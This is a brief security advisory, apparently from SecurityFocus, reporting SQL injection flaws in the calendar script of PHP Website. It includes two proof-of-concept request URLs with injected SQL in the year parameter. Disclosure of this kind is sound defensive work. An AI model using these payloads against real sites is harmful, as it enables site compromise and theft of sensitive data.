source: https://www.securityfocus.com/bid/8390/info

Multiple SQL injection vulnerabilities have been reported in PHP Website. These issue may be exploited by sending a malicious request to the calendar script. Possible consequencs of exploitation include compromise of the site and disclosure of sensitive information.

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=day&year=2003%00-1&month=

http://www.example.com/[PATH]/index.php?module=calendar&calendar[view]
=month&month=11&year=2003%20and%20startDate%20%3c%3d%2020071205%29%20or%
20%28%20endDate%20%3e%3d031101%20and%20endDate%20%3c%3d%2020071205%29%
29%20and%20active%3d1